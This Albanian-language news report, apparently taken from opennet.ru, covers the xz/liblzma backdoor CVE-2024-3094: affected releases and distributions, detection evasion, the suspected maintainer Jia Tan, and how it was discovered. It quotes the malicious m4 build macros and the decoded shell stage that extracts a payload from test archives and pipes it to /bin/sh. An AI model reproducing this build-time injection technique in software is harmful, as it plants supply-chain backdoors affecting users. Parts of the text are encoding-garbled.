Në bibliotekën xz/liblzma është zbuluar një backdoor, që organizon qasje përmes sshd.

NĂ« paketĂ«n XZ Utils, e cila pĂ«rfshin bibliotekĂ«n liblzma dhe utilitetet pĂ«r punĂ« me tĂ« dhĂ«na tĂ« kompresuara nĂ« formatin „.xz“, Ă«shtĂ« zbuluar njĂ« backdoor (CVE-2024-3094) qĂ« lejon kapjen dhe modifikimin e tĂ« dhĂ«nave qĂ« pĂ«rpunohen nga aplikacionet lidhur me bibliotekĂ«n liblzma. QĂ«llimi kryesor i backdoor-it Ă«shtĂ« serveri OpenSSH, qĂ« nĂ« disa distribucione lidhet me bibliotekĂ«n libsystemd, e cila nga ana tjetĂ«r pĂ«rdor liblzma. Lidha sshd me bibliotekĂ«n e cenueshme i lejon sulmuesve tĂ« aksesojnĂ« serverin SSH pa autentifikim.

Backdoor-i ka qenë i pranishëm në versionet zyrtare 5.6.0 dhe 5.6.1, të publikuara më 24 shkurt dhe 9 mars, të cilat kanë arritur të inkludohen në disa distribucione dhe depo, si Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide dhe 40-beta, openSUSE factory dhe tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Të gjithë përdoruesit e versioneve xz 5.6.0 dhe 5.6.1 rekomandohet të rikthehen menjëherë në versionin 5.4.6.

Një nga faktorët që lehtëson problemin është se versioni i liblzma me backdoor nuk ka arritur të hyjë në versionet stabile të distribucioneve kryesore, por ka prekur openSUSE Tumbleweed dhe Fedora 40-beta. Arch Linux dhe Gentoo kanë përdorur versionin e cenueshëm zx, por nuk janë të ekspozuar ndaj sulmit, pasi nuk përdorin patch-in për openssh që mbështet systemd-notify, duke çuar në lidhjen e sshd me liblzma. Backdoor-i preku vetëm sistemet x86_64 në bazë të kernel-it Linux dhe bibliotekës C Glibc.

Kodi i aktivizimit të backdoor-it ishte fshehur në makrosat m4 nga skedari build-to-host.m4, i përdorur nga mjeti automake gjatë ndërtimit. Gjatë ndërtimit, nëpërmjet operacioneve të ndërlikuara të obfuskimit të bazuara në arkiva (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), të aplikuara për testimin e saktësisë, formohej një skedar objekt me kod të dëmshëm, i cili përfshihej në bibliotekën liblzma dhe ndryshonte logjikën e disa prej funksioneve të saj. Makrosat m4 që aktivizonin backdoor-in ishin të pranishme në arkivat tar të lirimeve, por mungonin në regjistrin Git. Megjithatë, arkivat e dëmshme të testimit ishin të pranishme në depo, pra ai që shfrytëzoi backdoor-in kishte akses si në regjistrin ashtu edhe në proceset e formimit të lirimeve.

Kur përdoret liblzma në aplikacione, ndryshimet e dëmshme mund të shfrytëzohen për të kapur ose modifikuar të dhëna, si dhe për të ndikuar në funksionimin e sshd. Saktësisht, kodi i dëmshëm zëvendësonte funksionin RSA_public_decrypt për të kaluar procesin e autentifikimit në sshd. Backdoor-i përfshinte mbrojtje nga zbulimi dhe nuk e shfaqte veten kur ishin vendosur variablat e mjedisit LANG dhe TERM (dmth. kur procesi ekzekutohej në terminal) dhe jo të vendosura variablat e mjedisit LD_DEBUG dhe LD_PROFILE, si dhe aktivizohej vetëm gjatë ekzekutimit të skedarit të ekzekutueshëm /usr/sbin/sshd. Në backdoor kishte gjithashtu mjete për zbulesën e ekzekutimit në mjedise debug.

SaktĂ«sisht, nĂ« skedarin m4/build-to-host.m4 ishin pĂ«rdorur konstrukte gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` 
 gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’

NĂ« konstruktin e parĂ«, operacioni grep gjente skedarin tests/files/bad-3-corrupt_lzma2.xz, gjatĂ« shpaketimit tĂ« tĂ« cilit krijohej skenari: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Si keq arritĂ«n sulmuesit tĂ« fitojnĂ« qasje nĂ« infrastrukturĂ«n e projektit xz mbetet ende pĂ«r t'u sqaruar. Gjithashtu, nuk Ă«shtĂ« e qartĂ« se sa shumĂ« pĂ«rdorues dhe projekte janĂ« komprometuar si rezultat i veprimit tĂ« backdoor-it. Autori i supozuar i backdoor-it (JiaT75 — Jia Tan), i cili publikoi arkiva me kod tĂ« dĂ«mshĂ«m nĂ« depo, kishte komunikuar me zhvilluesit e Fedora dhe kishte dĂ«rguar kĂ«rkesa pĂ«r ndryshime nĂ« Debian, tĂ« lidhura me kalimin e distribucioneve nĂ« degĂ«n xz 5.6.0, dhe nuk kishte shkaktuar dyshime, pasi kishte marrĂ« pjesĂ« nĂ« zhvillimin e xz pĂ«r dy vitet e fundit dhe Ă«shtĂ« zhvilluesi i dytĂ« me numrin mĂ« tĂ« madh tĂ« ndryshimeve tĂ« propozuara. PĂ«rveç projektit xz, autori i supozuar i backdoor-it mori pjesĂ« gjithashtu nĂ« zhvillimin e paketave xz-java dhe xz-embedded. MĂ« shumĂ« se kaq, disa ditĂ« mĂ« parĂ«, Jia Tan u pĂ«rfshi nĂ« mesin e mantiinerit tĂ« projektit XZ Embedded, i pĂ«rdorur nĂ« bĂ«rthamĂ«n Linux.

Ndryshimi i dëmshëm u zbulua pas analizës së konsumit të tepruar të CPU-së dhe gabimeve që u shfaqën nga valgrind, kur u lidhëm përmes ssh me sisteme të bazuara në Debian sid. Rëndësi ka se ndryshimet e përgatitura nga autori i supozuar i backdoor-it u përfshin në lëshimin xz 5.6.1 si përgjigje ndaj ankesave për ngadalësimin e punës dhe rëniet e sshd, të cilat ndodhën pas përditësimit në versionin zx 5.6.0 me backdoor. Për më tepër, vitin e kaluar, Jia Tan bëri ndryshime që nuk ishin të pajtueshme me modin e verifikimit "-fsanitize=address", që çoi në çaktivizimin e tij gjatë testimit fuzzing.

Burimi: opennet.ru

Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster